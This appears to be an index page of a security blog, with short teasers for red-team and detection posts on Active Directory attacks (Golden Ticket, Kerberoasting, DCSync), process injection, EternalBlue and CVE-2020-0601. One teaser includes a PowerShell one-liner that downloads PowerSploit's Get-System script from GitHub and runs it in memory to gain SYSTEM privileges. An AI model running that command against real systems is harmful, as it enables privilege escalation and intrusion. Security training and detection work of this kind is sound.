microsoft
Golden Ticket This document covers how to create a Golden Ticket. An Active Directory Domain server is required for this to work. Connected clients are useful but not required. Creating the Ticket To create a Golden Ticket the NT Hash for KRBTGT will need to be aquired as well as
microsoft
In a Golden Ticket attack, an attacker creates a fake "ticket" that allows them to access the network as if they were a legitimate user. This ticket is called a "Golden Ticket" because it gives the attacker unlimited access to the network. The Golden Ticket attack
microsoft
Here I will demonstrate how to get system level privileges with PowerSploits Get-System. Getting System Level Privileges First lets load Get-System into memory. Iex(New-Object net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSplo it/master/Privesc/Get-System.ps1') Next lets get system level privileges using Named Pipes.
microsoft
Vulcan can preform several different process injection techniques on Windows machines. Including DLL Injection, Shellcode Injection, and Process Hollowing. It is a useful tool for the red teamer allowing custom shell code to be executed. For the blue teamer it is a great way to test your defenses. Prerequisite * Vulcan
detection
In this post I will cover Miters Process Injection (T1055) and some ways that you can detect it and prove it's working. Process Injection I will not go into to much detail on Process Injection here. If you want a deep dive, I recommend Endgames blog post. I
microsoft
Mitre ATT&CK technique T1558.003 or more commonly known as Kerberoasting, is a technique that allows a malicious actor to brute force Kerberos TGS(ticket-granting service) tickets offline. This technique requires Active Directory and a user with an SPN(service principal name). Here I will not be covering
detection
Cobalt Strike is threat emulation software. It is a proprietary product used by... well who ever can afford it. However, it has been reverse engineered and some code leaked. Also, security researchers have extensively scrutinized it. For example, some people have noticed a pattern in Cobalt Strike use of Named
microsoft
DCSync is a powerful tool in the hands of a red teamer and a nightmare for Blue teamers. For the blue teamer all is not lost. This type of attack may not be feasible to stop but it can be detected. Abstract Here I will show how you can quickly
microsoft
This tutorial will cover how to add Eternalblue-Doublepulsar to Metasploit framework on any Debian based distro. As well as run the Fuzzbunch framework through wine. Prerequisites * Debian based distro * Metasploit * Wine * Eternalbule-doublepulsar Step 1: Will the target fall victim? We will want to check to see if the target victim
cve
Having been asked to look into CVE-2020-0601 for work, I thought I'd share what I learned. What is it? It is a flaw in the way Microsoft was validating Elliptic Curve Cryptography (ECC) certificates. This flaw affected all ECC certificates, including Microsofts own ECC MicrosoftECCProductRootCertificateAuthority.cer. Why this
microsoft
Fuzzbunch is a framework like Metasploit however it was written for Windows XP and who wants to use that. This tutorial will cover how to get it up and running on a Debian based distro. Prerequisites * Debian based distro * Wine * fuzzbunch-debian Step 1: The first thing we need to do
microsoft
Detecting Pass-The-Ticket and Pass-The-Hash Attack Using Simple WMI Commands Reading this I wanted to follow along but there was some things left out. I like reproducability and wanted to reproduce the resaults. This artical starts out realy well. The first few paragraphs go over the issue I am having. PTH